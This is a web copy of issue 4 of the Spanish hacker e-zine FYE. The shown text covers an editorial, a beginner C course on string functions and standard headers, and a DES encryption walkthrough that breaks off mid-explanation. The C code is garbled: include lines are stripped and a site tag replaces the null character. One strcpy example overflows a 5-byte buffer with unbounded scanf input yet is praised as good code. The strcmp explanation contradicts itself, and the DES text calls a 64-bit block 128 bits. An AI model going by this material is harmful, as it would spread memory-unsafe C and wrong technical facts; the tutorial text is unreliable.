Home E-Zines Fye Fye 04

Ultimos Mensajes del Foro

Manual Aleatorio

La cara oculta de internet (PDF)
En este documento se explican las partes de internet que no todo el mundo llega a conocer, con explicaciones para que todo el mundo las entienda.
Leer más...
Fye 04 PDF Imprimir E-mail
Martes, 30 de Noviembre de 1999 01:00
Curso de C IV, Encriptacion DES, Get Connected - xDSL/ISDN/HFC, Samba, Linux fundamental II, Linux Networking, IRC Bots, Bouncers, Un Caso de la Vida Real: NT, Firewall & ipchains, DEC Server, QuickTip: SMS/Nokia/Smartcom, Desbloqueo de PSX2, Crackeando win98 Setup, Eliminando Sub7, Programacion de Sockets, Cocinando con Chris McKinstry.....

Texto Completo:
                  ()()()()()()()  ()()()      ()()()   ()()()()()()()        
                 ()()()()()()()    ()()()    ()()()   ()()()()()()()      
                ()()()()()()()      ()()()  ()()()   ()()()()()()()
               ()()()                ()()()()()()   ()()() 
              ()()()()()              ()()()()()   ()()()()() 
             ()()()()()                ()()()()   ()()()()() 
            ()()()                      ()()()   ()()()
           ()()()                      ()()()   ()()()()()()() 
          ()()()                      ()()()   ()()()()()()()
         ()()()                      ()()()   ()()()()()()()


>>>>>>>----------------------[ Numero 4 01.01.2001 ]--------------------<<<<<<<
		               Antofagasta, Chile
				
				 MANIFIESTO 0.2
    FYE es una ezine escrita por los integrantes de 350cc, quienes tratamos
    de aportar con algo a la escena de habla hispana. Aqui no alejamos a nadie
    por preguntar, pues el hecho de preguntar es la escencia misma del
    aprendizaje, y aprender debe ser a nuestro parecer la meta diaria . Aqui
    hay entusiastas no sabelotodos, aqui hay curiosos, no criminales.
    La informacion aqui entregada tiene como fin el de mostrar como funcionan
    los sistemas, pues , la curiosidad es lo que nos mueve y la informacion es
    nuestra reconpensa.
  


   80:
    http://www.350cc.com

   110:
    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

   7000:
    irc.terra.cl #FYE

   Editor & Webmasta:
    NDR113 [
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ]
   Former Editor:
    ThEye [
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ] 
   Staff Permanente:
    Ytrium [
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ]
    To4s7 [
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ]
   Invitados:
    GengisKAN [
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ]
    S0ul [
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 ]
   Colaboradores:
    ViC3nT BlaCk
    CybeR
    MoeBiuS
    [BuRToN]
    Kasiki
   
  
  
   Links
    http://www.0wn3d.f2s.com -----------------------------------------<0wn3d>
    http://www.box.sk-------------------------------------------
    http://www.cdlr.org -----------------------------------------
    http://www.mindpixel.com -------------------------------------
    http://www.zine-store.com.ar --------------------------------

   Quotes
    "... the best operation system is no operation system..." - Chris McKinstry
    "... nunca me he arrodillado ante nadie..." - SE Ricardo Lagos
    "We don't use the world "internet" in 2020. People will simply talk about
     the information itself." - Tim Berners Lee 
     
---------------------------------------------------------------[INGREDIENTES]

    01.Editorial...............................................by NDR113
    02.Curso de C (IV).........................................by ThEye
    03.Encriptacion DES........................................by Kasiki
    04.Get Connected - xDSL/ISDN/HFC...........................by NDR113
    05.SAMBA...................................................by GengisKAN
    06.Linux Fundamental (II)..................................by NDR113
    07.Linux Networking........................................by To4s7
    08.IRC BOTS................................................by ThEye
    09.Bouncers................................................by Kasiki
    10.Un Caso de la Vida Real: NT.............................by NDR113
    11.Firewall & IP Chains....................................by ViC3nT BlaCk
    12.DEC Server..............................................by ThEye
    13.QuickTip: SMS/Nokia/Smartcom............................by NDR113
    14.Desbloqueo de PSX2......................................by [BuRToN]
    15.Crackeando Win98 Setup..................................by MoeBiuS
    16.Eliminando Sub7.........................................by CybeR
    17.Programacion de Sockets.................................by Ytrium
    18.Cocinando con Chris McKinstry...........................by NDR113
    19.Quien es Quien..........................................by ThEye
    20.Hacia donde vamos?.....................................by NDR113
    21.Must See, Must Read.....................................by NDR113
    22.Shutdown................................................by NDR113
    
*   Se recomienda visualizar esta ezine con un editor ASCII a 80 columnas
**  Reclamos e Informaciones a: (56) 600600900

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
      
   [NDR113@350cc]#cat /home/NDR113/editorial.fye
  
   Saludos a nuestros lectores. Luego de postergacion tras postergacion FYE4
   ha salido a la luz. Esta de mas pedir disculpas por el retraso de la publi-
   cacion. Ahora ya lo problemas parecen haberse solucionados y 350cc les trae
   FYE en su cuarta edicion, esta ves con su humilde servidor de Editor -a los
   fans de ThEye, no se preocupen, el vuelve XD-. Las estrellas de esta entrega
   son algunos articulos tecnicos sobre OS como DEC Server y NT, y por su puesto
   la entrevista q realizamos a Chris McKinstry, un canadiense avencidado en
   Chile, q trabaja para la ESO -European Southern Observatories- operando el
   VLT -El complejo de telecospios mas grande del mundo-. Ademas de su tremanda
   y reconocida experticia en el manejo informatico - basta decir que estuvo
   dando conferencia en H2K el evento hack organizado por la revista 2600-,
   Chris trabaja en un proyecto sobre inteligencia artificial y
   recientemente ha publicado su libro Hacking Consciousness. Espero q disfruten
   esta entrevista a un personaje de la escena mundial que nos demuestra
   como el hacking es mas que informatica. El convirtio su vida en una
   exploracion constante, expandiendo horizontes en una gran variedad de campos
   antes no conocidos...
   Tambien hemos incluido en esta edicion pequeos cambios a nuestra linea
   editorial, como son los articulos "Adonde vamos?" y "Quien es Quien". Estos
   son ensayos o reflexiones que 350cc hace sobre el presente y futuro de la
   informatica y las implicaciones que tiene en nuestras vidas y el futuro.
   Esperaremos su reaccion para ver como continuamos adelante con los cambios q
   realizaremos en FYE. Ademas aadimos algo de buena lectura y cine en las
   guias "Must See, Must Read".
   Queremos refedinirnos y redefinir -aun que suena ambicioso o incluso
   petulante- lo que es una ezine under. Realmente solamente es codigo y exploit
   nuestros intereses? Creemos que no. Somos personas q compartimos un
   entusiasmo con la tecnologia, pero no somos ajenos de las consecuencias que
   su uso trae ni del mundo que enmarca su desarollo.
   Porque disfrutamos programando, o escudriando o simplemente explorando, los
   queremos invitar a ir mas alla y expandir el horizonte de lo que es realmente
   el hacking. Quizas suena pretenciosos para algunos, pero ser hacker, no es
   sinonimo de ser elite o ser un maestro, ser hacker es querer aprender,
   y explorar y mas que nada pensar lo que quizas otros no imaginan, no
   limitandonos al campo de la informatica, si no mas bien, entregandose a una
   vida llena de constates sorpresas intelectuales.
   Quiero darles las gracias a todos los que nos soportaron, ayudaron y espera-
   ron. A quienes nos dejaron, la mejor de las suertes.
   Finalmente gracias a mi princesa por estar siempre a mi lado.
  
		     
  									NDR113 
 
 
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

<=--<<< CURSO de C (parte IV) >>>--------------------------[ by ThEye ]-----=>
  
    Holaz por cuarta vez en este cursillo de C que vengo escribiendo desde el
primer numero.En esta entrega veremos los manejos de cadenas de caracteres.
Tambien haremos una revista completa de las librerias de C
(esos archivos .h por si no se acuerdan ;D ).Antes de empezar quisiera dejar
en claro que el compilador que uso para comprobar el funcionamiento de los
ejemplos aca descritos es el gcc que viene en toda distribucion de Linux.Para
otros compiladores (por ejemplo compiladores de DOS) deberan ,talvez, cambiar
algo de los codigos o incluir los headers correspondientes si es que no los
tienen.

                    .-=-.Archivos cabeceras ( *.h ).-=-.

     He decidido incluir en esta ocasion una breve descripcion de los headers
de C , ya que estos son archivos muy importantes por lo tanto deben saber mas
menos que es lo que aportan cada uno de ellos,ademas en esta entrega del
curso comenzamos a usar por primera vez headers diferentes al stdio.h.
     Como ya muchos saben,la biblioteca estandar no es parte del lenguaje C
propiamente tal,sino que forman parte los llamados headers o cabeceras.Un
programa en C siempre declarara estos headers para asi poder hacer uso de la
biblioteca sin problemas.Macros,funciones y tipos estan declarados en los
headers,ahora veamos algo sobre ellos.
     Para declarar un header y hacer uso de el debemos declararlo en el
codigo con una linea de la forma #include 
,no hay un orden definido para la declaracion y deben estas expresiones estar fuera de toda declaracion o definicion externa y antes de declarar cualquier otra cosa. 1. Entrada y salida La mas importante y la primera de la que se hace uso.Como ya hemos visto en las entregas anteriores,omitir este header es casi imposible ya que desde que empezamos a conocer el lenguaje C hacemos uso de el.Todas las macros, funciones y tipos de entrada y salida estan definidas en este header.Funciones tan comunes como printf estan declaradas en este header.Otras que sirven para manipular archivos como son FILE o para la entrada con formato como fscanf estan tambien declaradas en stdio.h . 2. Pruebas de clasificacion de caracteres Este header declara las funciones necesarias para la prueba de caracteres. Para cada funcion,su argumento es un int que debe tener valor EOF o debe poder ser representado por un unsigned char,y el valor retornado es un int.Estas funciones devuelven un valor distinto a cero si el argumento satisface la condicion dad e igual a cero si no lo hace. Veamos algo como ejemplo... Las funciones: int tolower(c) int toupper(c) convierte a c en minuscula y mayuscula respectivamente.Si c es mayuscula, tolower nos dara la correspondiente minuscula o lo dejara igual si ya es minuscula,lo mismo hace toupper pero al reves. 3. Funciones para cadenas Existen dos tipos de funciones declaradas en string.h,unas que empiezan por str y otras que empiezan por mem.Veamos algunas de las funciones str: strcpy --> copia una cadena en otra strncpy --> copia hasta n caracteres de una cadena en otra strcat --> concatena cadenas (copia una al final de la otra) strncat --> concatena cadenas hasta el n caracter (el n caracter se define en sus argumentos) strcmp --> compara cadenas strncmp --> compara cadenas hasta el n caracter strchr --> regresa un apuntador a la primera ocurrencia de un caracter en cadena strrchr --> regresa un apuntador a la ultima ocurrencia de un caracter en cadena strspn --> regresa la longitud del prefijo de la cadena que son los caracteres en la otra cadena strcspn --> regresa la longitud del prefijo de la cadena que son los caracteres que no estan en la otra cadena strpbrk --> regresa un apuntador a la primera ocurrencia en la cadena de cualquier caracter en la otra cadena. strstr --> regresa un apuntador a la primera ocurrencia de la cadena en la otra. strlen --> regresa la longitud de la cadena strerror --> regresa un apuntador a una cadena definida por la implantacion,correspondiente al error n (n esta definido como argumento de strerror) las funciones mem no seran explicadas en esta entrega por lo tanto no las nombrare en esta revision. 4. Funciones matematicas Este declara funciones y macros matematicas.Funciones de este header son algunas como las siguientes: sin (x) seno de x cos (x) coseno de x tan (x) tangente de x exp (x) funcion exponencial ( f(y) = e^x ) log (x) logaritmo natural de x ( ln x ) log10 (x) logaritmo en base 10 de x ( log x ) fabs (x) valor absoluto de x x es un double y todas estan funciones regresan un double. 5. Funciones de utilerias Declara funciones de asignacion de memoria y conversion de memoria.Por ejemplo en conversion numerica existe atoi cuya sintaxis es: int atoi(const char *s) y lo que hace es convertir el char s en entero (int).En cuanto a asignacion de memoria existen malloc y free como los principales.El primero asigna espacio en memoria mientras que el segundo la libera. 6. Diagnosticos Agrega diagnosticos a un programa.Se usa de la sig. forma: void assert(int expresion) si expresion es cero cuando se hace assert (expresion) assert realiza su trabajo escribiendo en stderr un mensaje de error. 7. Funciones de fecha y hora Aca estan declarados los tipos y funciones para manipulacion de la fecha y la hora.No ahondaremos en sus funciones en esta edicion. 8. Limites definidos en la implantacion y define constantes para el tamao de los tipos enteros. Los valores que aqui mostraremos (solo algunos,no el total) son la magnitud minima aceptable,se pueden usar valores mayores. CHAR_BIT 8 bits de un char INT_MAX +32767 valor maximo de int INT_MIN -32767 valor minimo de int Estos otros valores corresponden a la tabla ,ellos son constantes relacionados con la aritmetica de punto flotante. FLT_EPSILON 1E-5 menor numero tal que 1.0 + x != 1.0 FLT_MAX 1E+37 maximo numero de punto flotante DBL_MAX 1E+37 maximo double de punto flotante. Por supuesto existen muchos mas headers,pero no sirve de nada mostrarlos ya que aun estamos en un nivel basico dentro del curso. .-=-.Manejo de Cadenas de Caracteres.-=-. En C las cadenas es una seguidilla de caracteres que terminan con un caracter nulo.Para poder utilizar las funciones que las manejan debemos incluir el header string.h,y para manipular los caracteres usaremos ctype.h . Para declarar una cadena se hace de la siguiente forma: char texto[longitud] Ahora hablaremos de las funciones que nos aporta la cabecera string.h para la manipulacion de las cadenas. (1) strlen : longitud de la cadena sin el caracter final nulo.La forma de usarla es la siguiente: size_t strlen (const char *cadena); (2) strcpy : Forma de usarla: char *strcpy (char *cadena1 ,const char *cadena2); Copia cadena2 en cadena1 , por lo tanto cadena1 debe ser lo suficientemente grande como para contenerla. cadena2 acaba en caracter nulo ( '{jumi [*3] [http://www.govannom.org/e-zines/fye/fye4.txt]}' ) . (3) strcat : Copia cadena2 al final de cadena1 a~adiendo el caracter nulo al final.Cadena1 debe tener espacio suficiente como para contener a cadena2.Forma de usarla: *strcat (char *cadena1 ,const char *cadena2); (4) strcmp : Sirve para comparar dos cadenas entregandonos como resultado 0 si las dos cadenas son iguales , menor que cero si cadena1 va antes que cadena2 y mayor que cero si cadena1 va antes que cadena2.Forma de usarla: int strcmp (const char *cadena1, const char *cadena2) (5) sprintf: Es parecido a printf,pero en vez de mostrar el texto en la pantalla lo guarda en una variable (destino).El valor que devuelve int es el numero de caracteres guardados en la variable destino.La forma de usarlo es: int sprintf (char *destino, const char *formato, ...); Hay mas funciones pero como que estas son las mas importantes.... Veamos ahora algunos ejemplos de codigos que usan estas funciones: (1) strlen ------ #include #include /* como pueden notar usamos este header ya que strlen se utiliza en el codigo */ int main() { char txt[30]; /* declaramos la cadena con el nombre de txt y una longitud maxima de 30 caracteres */ int longitud; /* declaramos longitud como un entero */ printf("Escribe algo de a lo menos 30 caracteres\n"); scanf("%s",&txt); /* obtenemos la cadena introducida por el user y la asignamos a txt */ longitud=strlen(txt); /* aca hacemos que longitud contenga el valor numerico de la logitud de txt */ printf("La cadena %s tiene una longitud de %d caracteres.\n",txt,longitud); } codigo simple y claro, alguna pregunta ? ... NO? ok sigamos con strcpy .... (2) strcpy ------ #include #include int main() { char mula[]="La U"; /* declaramos la cadena mula con el texto La U :D de ,OJO, 4 caracteres de longitud */ char escierto[20]; /* declaramos la cadena escierto con 20 caracteres de longitud maximo */ printf("Dime que piensas de la U\n"); scanf("%s",&escierto); strcpy(mula,escierto); /* copiamos escierto sobre mula */ printf("Nuevo valor contenido en la cadena mula= %s\n",escierto); } otro codigo bueno,bonito y barato, alguien tiene alguna duda ? ... NO? :D (3) strcat ------ #include #include int main() { char calla[50]; /* declaramos calla con 50 caracteres de longitud,si la frase resultante es mayor que 50 caracteres la frase sera escrita hasta el caracter 50 */ char nick[50]; printf("Dime tu nombre\n"); scanf("%s",&nick); bzero(calla,50); strcat( calla, "CALLA " ); strcat( calla, nick ); strcat( calla, " !!!! :D" ); printf( "%s\n", calla ); } jejejeje...buen programa ;D . NOTA: La funcion bzero la use para rellenar con 0's la variable calla.Esto lo hice para que esta variable no contubiera basura y mostrara caracteres raros. (3) strcmp ------ #include #include int main() { int i; char cadena1[50]; char cadena2[50]; printf("Di algo\n"); scanf("%s",&cadena1); printf("Di otra cosa\n"); scanf("%s",&cadena2); i=strcmp(cadena1,cadena2); if(i<0) printf("cadena2 es mayor que cadena1\n"); else if(i==0) printf("cadena1 es igual a cadena2\n"); else printf("cadena1 es mayor que cadena2\n"); } codigo extremadamente simple... (4) sprintf ------- #include #include int main() { char sox[50]; char nick[50]; char descripcion[]="s0x"; printf("Dame un nombre\n"); scanf("%s",&nick); sprintf( sox, "%s %s", nick, descripcion ); printf( "%s !!!!!\n", sox ); } Bueno,hasta aca el curso va bastante bien,pero ya debemos empezar a escribir programas utiles, free software r0x!!!!. Los invito a todos a escribir programas buenos y que sirvan,como por ejemplo programas matematicos, o utilidades varias,etc. En la proxima entrega de este curso seguiremos aprendiendo algunas cosas y la vez empezaremos a escribir software util para que este curso empieze a rendir sus frutos. No necesariamente seran programas de hack,recuerden que el hack no lo es todo en la vida, de hecho es casi nada desde mi punto de vista... pero bueno... Eso seria todo en esta entrega del curso,espero que les haya gustado,y disculpen por la corta extension de este articulo,lo que sucede es que lo estoy escribiendo con el tiempo pisandome los talones. Nada mas por ahora :) [BIBLIOGRAFIA] El Lenguaje C - Brian W. Kernigham , Dennis M. Ritchie Salu2 ThEye < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla > %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Encriptacion DES >>>-------------------------------[ by Kasiki ]-----=> Introduccin: 1.- Introduccin al algoritmo DES 2.- Historia 3.- Ejemplo Preliminar 4.- Como funciona DES 5.- Modos de operacin DES 6.- Atacando y rompiendo el DES 7.- DES-Triple 8.- Referencias 9.- Despedida Kiu, aqui estoy con mi 1er aporte para la ezine, en este articulo se tratar de explicar que es el algoritmo DES la historia de ste como funciona etc... No los aburro mas y nos vamos al articulo. 1.- Algoritmo DES? Es un algoritmo para la encriptacin, DES significa Data Encription Standard ste algoritmo es uno de los ms utilizados en todo el mundo... Hoy en da este algoritmo es crackeable con el John Ripper y otras utilidades que andan por ah. Este algoritmo seguira siendo utilizado gracias a una variante muy sencilla del DES que alarga la vida til de este algoritmo: el "DES-Triple" 2.- Historia: En el mes mayo de 1973, durante la administracin de Richard Nixon, la National Bureau of Standards (Oficina Nacional de Estndares o NBS por sus siglas en ingls) public una solicitud de propuestas para algoritmos criptogrficos para proteger la transmisin y almacenamiento de datos. Adems solicitaba tcnicas para implementar la funcin criptogrfica: Para generar, evaluar y proteger llaves Para mantener archivos encriptados bajo llaves expiradas Para realizar actualizaciones parciales a archivos encriptados Para mezclar datos encriptados y claros para etiquetacin, ruteo, etc... La NBS esper, pero no hubo respuestas, al menos no inicialmente. Fue hasta el 6 de agosto de 1974 que la IBM entreg su algoritmo candidato. Este algoritmo, conocido internamente en la IBM con el nombre cdigo de "LUCIFER", fue evaluado por la NBS y adoptado con una modificacin como el nuevo Estndar de Encriptamiento de Datos (Data Encription Santdard o DES) hasta el 15 de julio de 1977 [NBS77]. Este algoritmo fue desarrollado por IBM... 1ero sali LUCIFER sin ntes haber pasado por hartas reviciones hasta concluir con una revision liberada en 1971. IBM estaba listo para comenzar la comercializacin masiva en 1974 cuando se public la solicitud de la NBS (Oficina Nacional de Estndares). La NSA, encargada del espionaje de las comunicaciones de todo el mundo, se preocup por el prospecto de tener que lidiar con un paquete comercial que superaba su capacidad de anlisis, dato conocido gracias a su participacin en su desarrollo. Fue de esta manera que la NSA negoci con IBM para disminuir la llave del algoritmo presentado de 128 bits a 56 y a clasificar como secretos ciertos detalles de la seleccin de las frmulas que realizaban las transformaciones. El algoritmo presentado es, bajo un enfoque prctico, una versin debilitada de LUCIFER. Despus de una largo debate pblico donde el algoritmo fue atacado por universidades como Stanford y compaas como la Bell Telephone Company, la cuestin fue investigada por el Comit de Inteligencia del Senado. Este comit sospechosamente no encontr razones para exigir un reforzamiento del algoritmo. [Bam83] [DiH77] [Hel79] Asi fue que, a la vuelta de un par de aos, DES ya haba sido adoptado comercialmente. El primer ejemplo publicado fue el de International Flavors and Fragrances que protega sus frmulas transmitidas por telfono con este algoritmo. (Ver "With Data Encryption, Scents Are Safe at IFF," Computerworld 14, No. 21, 95 , 1980). La industria bancaria, el mayor usuario de algoritmos de encriptamiento fuera del gobierno, adopt el DES como un estndar. Este estndar, publicado por la ANSI (American National Standard Institute), es conocido como el ANSI X3.92, fue adoptado en 1980 y especifica el DES. 3.- Ejemplo preliminar DES trabaja encriptando grupos de 64 bits, es decir, sobre 16 nmeros hexadecimales. Para hacer la encriptacin, DES utiliza llaves que son aparentemente de 64 bits. Sin embargo, cada octavo bit es ignorado, por lo cual la llave efectiva es de 56 bits. De cualquier manera, 64 bits son el nmero alrededor del cual se organiza el DES. Pongamos primeramente este ejemplo: si encriptamos el texto "8787878787878787", con la llave DES "0E329232EA6D0D73", obtendremos el texto codificado "0000000000000000". El proceso inverso (desencriptamiento) con la misma llave nos da como resultado el texto original: "8787878787878787". Este ejemplo es muy sencillo debido a que nuestro texto mide exactamente 128 bits. Pero la mayora de los mensajes no medirn 64 bits o sern de una longitud mltiplo de este nmero. Para estos casos, es necesario rellenar con ceros hasta llegar a un mltiplo de 64 bits. 4.- Como funciona DES en detalle? DES es un cifrador en bloque, lo que quiere decir que trabaja en bloques de texto de determinado tamao (en este caso 64 bits) y regresa bloques del mismo tamao. De esta manera DES resulta en una permutacin de las 264 posibles distribuciones de esos 64 bits. Cada bloque de 64 bits es dividido en dos bloques de 32 bits cada uno denominados L y R (izquierdo y derecho, por las siglas en ingles.) Esta divisin se utiliza en ciertas operaciones. Sea M el mensaje principal M = 0123456789ABCDEF donde M se encuentra en formato hexadecimal. Al cambiar M a formato binario obtenemos el bloque de 64 bits: M = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111 L = 0000 0001 0010 0011 0100 0101 0110 0111 R = 1000 1001 1010 1011 1100 1101 1110 1111 DES opera sobre en los bloques de 64 bits utilizando llaves de 56 bits. Las llaves son guardadas como si utilizaran 64 bits pero cada octavo bit es ignorado. Es decir, los bits 8, 16, 24, 32, 40, 48, 56 y 64. Sin embargo, seguiremos denominando a los bits del 1 al 64. Los bits sobrantes sern eliminados cuando creemos subllaves. Supongamos que K es la llave hexadecimal K = 133457799BBCDFF1. Transformndola a notacin binaria (1 = 0001, 3 = 0011, etc.) y agrupando cada 8 bits, veremos que el ltimo bit no ser utilizado: K = 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001 Ahora sigamos los pasos del algoritmos: Paso 1: crear 16 subllaves cada una de las cuales mide 48 bits. La llave de 64 bits es permutada de acuerdo a la siguiente tabla, PC-1. Puesto que la primera entrada en la tabla es "57", esto quiere decir que el bit de la posicin 57 de la llave original se convierte en el primer bit de la llave permutada K+. El bit 49 se convierte en el segundo bit, etc. Note que solo se utilizan 56 bits y faltan precisamente las posiciones mltiplos de 8. 57 49 41 33 25 17 9 1 58 50 42 34 26 18 10 2 59 51 43 35 27 19 11 3 60 52 44 36 63 55 47 39 31 23 15 7 62 54 46 38 30 22 14 6 61 53 45 37 29 21 13 5 28 20 12 4 PC-1 De la llave original de 64 bits K = 00010011 00110100 01010111 01111001 10011011 10111100 11011111 11110001 Obtenemos la permutacin: K+ = 1111000 0110011 0010101 0101111 0101010 1011001 1001111 0001111 Ahora separemos la llave en sus dos mitades, C0 y D0, donde cada mitad tiene 28 bits. C0 = 1111000 0110011 0010101 0101111 D0 = 0101010 1011001 1001111 0001111 Con C0 y D0 definidos, ahora podemos crear 16 bloques Cn y Dn, 1<=n<=16. Cada par de bloques Cn y Dn esta formado del par previo Cn-1 y Dn-1, respectivamente, para n = 1, 2, ..., 16, utilizando el siguiente esquema de corrimientos a la izquierda del bloque previo. Para hacer un corrimiento a la izquierda, mover cada bit un lugar a la izquierda, excepto por el primer bit, el cual es ciclado al final del bloque. Esto quiere decir que, por ejemplo, C3 y D3 son obtenidos de C2 y D2, respectivamente, por dos corrimientos izquierdos, y C16 y D16 son obtenidos de C15 y D15, respectivamente por un corrimiento izquierdo. En todos los casos, por un solo corrimiento izquierdo se quiere decir una rotacin de los bits un lugar a la izquierda, de tal manera que despus de un corrimiento izquierdo en las 28 posiciones los bits quedan en las posiciones 2, 3,..., 28, 1. C0 = 1111000011001100101010101111 D0 = 0101010101100110011110001111 C1 = 1110000110011001010101011111 D1 = 1010101011001100111100011110 C2 = 1100001100110010101010111111 D2 = 0101010110011001111000111101 C3 = 0000110011001010101011111111 D3 = 0101011001100111100011110101 C4 = 0011001100101010101111111100 D4 = 0101100110011110001111010101 C5 = 1100110010101010111111110000 D5 = 0110011001111000111101010101 C6 = 0011001010101011111111000011 D6 = 1001100111100011110101010101 C7 = 1100101010101111111100001100 D7 = 0110011110001111010101010110 C8 = 0010101010111111110000110011 D8 = 1001111000111101010101011001 C9 = 0101010101111111100001100110 D9 = 0011110001111010101010110011 C10 = 0101010111111110000110011001 D10 = 1111000111101010101011001100 C11 = 0101011111111000011001100101 D11 = 1100011110101010101100110011 C12 = 0101111111100001100110010101 D12 = 0001111010101010110011001111 C13 = 0111111110000110011001010101 D13 = 0111101010101011001100111100 C14 = 1111111000011001100101010101 D14 = 1110101010101100110011110001 C15 = 1111100001100110010101010111 D15 = 1010101010110011001111000111 C16 = 1111000011001100101010101111 D16 = 0101010101100110011110001111 Ahora formamos las llaves Kn, para 1<=n<=16, aplicando la siguiente tabla de permutaciones a cada uno de los pares concatenados CnDn. Cada par tiene 56 bits, pero PC-2 solo utiliza 48 de estos. 14 17 11 24 1 5 3 28 15 6 21 10 23 19 12 4 26 8 16 7 27 20 13 2 41 52 31 37 47 55 30 40 51 45 33 48 44 49 39 56 34 53 46 42 50 36 29 32 PC-2 Por lo tanto, el primer bit de Kn es el 14avo bit de CnDn, el segundo bit el 17avo, y as en delante, terminando con el 48avo bit de Kn siendo el 32avo bit de CnDn. Para la primer llave tenemos C1D1 = 1110000 1100110 0101010 1011111 1010101 0110011 0011110 0011110 La cual, tras aplicar la permutacin PC-2, se convierte en K1 = 000110 110000 001011 101111 111111 000111 000001 110010 Para las dems llaves tenemos: K2 = 011110 011010 111011 011001 110110 111100 100111 100101 K3 = 010101 011111 110010 001010 010000 101100 111110 011001 K4 = 011100 101010 110111 010110 110110 110011 010100 011101 K5 = 011111 001110 110000 000000 111111 110101 001110 101000 K6 = 011000 111010 010100 100111 110010 000111 101100 101111 K7 = 111011 001000 010010 010110 111111 100001 100010 111100 K8 = 111101 111000 101000 000111 010110 010011 101111 111011 K9 = 111000 001101 101111 111101 011111 011110 011110 000001 K10 = 101100 011111 001101 101000 111101 100100 011001 001111 K11 = 001000 010101 111111 010011 110111 101101 001110 000110 K12 = 011101 010111 000111 110101 100101 000110 011111 101001 K13 = 100101 111100 010111 010001 111110 101011 101001 000001 K14 = 010111 110100 001110 110111 111100 101110 011100 111010 K15 = 101111 111001 000110 001101 001111 010011 111100 001010 K16 = 110010 110011 110110 001011 000011 100001 011111 110101 Con esto terminamos las subllaves, ahora veremos el mensaje en s. Paso 2: Codificar cada bloque de datos de 64 bits. Existe una permutacin inicial PI de los 64 bits del mensaje M. Esto reacomoda los bits de acuerdo a la siguiente tabla, donde las entradas en la tabla muestran el nuevo acomodo de los bits de acuerdo a su orden inicial. El 58avo bit de M pasa a ser el primer bit de PI. El 50avo bit de M pasa a ser el segundo bit de PI. El sptimo bit de M es el ltimo bit de PI. 58 50 42 34 26 18 10 2 60 52 44 36 28 20 12 4 62 54 46 38 30 22 14 6 64 56 48 40 32 24 16 8 57 49 41 33 25 17 9 1 59 51 43 35 27 19 11 3 61 53 45 37 29 21 13 5 63 55 47 39 31 23 15 7 PI Aplicando la permutacin inicial al bloque de texto M, dado anteriormente, obtenemos: M = 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111 PI= 1100 1100 0000 0000 1100 1100 1111 1111 1111 0000 1010 1010 1111 0000 1010 1010 Aqu el 58avo bit de M es "1", el cual se convierte en el primer bit de PI. El 50avo bit de M es "1" y se convierte en el segundo de PI. El sptimo bit de M es "0", el cual se convierte en el ltimo bit de PI Ahora divide el bloque permutado PI en una mitad izquierda L0 de 32 bits y una mitad derecha R0 de 32 bits. L0 = 1100 1100 0000 0000 1100 1100 1111 1111 R0 = 1111 0000 1010 1010 1111 0000 1010 1010 Ahora procedemos a travs de las 16 iteraciones, para 1<=n<=16, usando una funcin f que opera en dos bloques (un bloque de 32 bits y una llave Kn de 48 bits) para producir un bloque de 32 bits. Para n desde 1 hasta 16 calculamos: Ln = Rn-1 Rn = Ln-1 f(Rn-1,Kn) Donde es la operacin XOR Esto resulta en un bloque final, para n = 16, de L16R16. Esto es, en cada iteracin, tomamos los 32 bits derechos del resultado previo y los hacemos los 32 bits izquierdos del paso actual. Para los 32 bits derechos en el paso actual, aplicamos la operacin XOR a los 32 bits izquierdos del paso anterior con la funcin f . Para n = 1, tenemos K1 = 000110 110000 001011 101111 111111 000111 000001 110010 L1 = R0 = 1111 0000 1010 1010 1111 0000 1010 1010 R1 = L0 + f(R0,K1) Falta explicar el funcionamiento de la funcin f. Para calcular f, primero expandimos cada bloque Rn-1 de 32 bits a 48 bits. Esto se hace utilizando una tabla de seleccin que repite algunos de los bits en Rn-1 . Le llamaremos al uso de esta tabla de seleccin funcin E. As E(Rn-1) tiene un bloque de entrada de 32 bits y un bloque de salida de 48 bits. Sea E tal que los 48 bits de su salida, escrita como 8 bloques de 6 bits cada uno, sean obtenidos al seleccionar los bits en sus entradas en orden de acuerdo a las siguientes tablas: 32 1 2 3 4 5 4 5 6 7 8 9 8 9 10 11 12 13 12 13 14 15 16 17 16 17 18 19 20 21 20 21 22 23 24 25 24 25 26 27 28 29 28 29 30 31 32 1 TABLA DE SELECCCIN DE BITS E As los primeros tres bits de E(Rn-1) son los bits de las posiciones 32, 1 y 2 de Rn-1 mientras que los dos ltimos 2 bits de E(Rn-1) son los bits de las posiciones 32 y 1. Calculamos E(R0) de R0 como sigue: R0 = 1111 0000 1010 1010 1111 0000 1010 1010 E(R0) = 011110 100001 010101 010101 011110 100001 010101 010101 (Note que cada bloque de 4 bits originales ha sido expandido a un bloque de salida de 6 bits.) Ahora 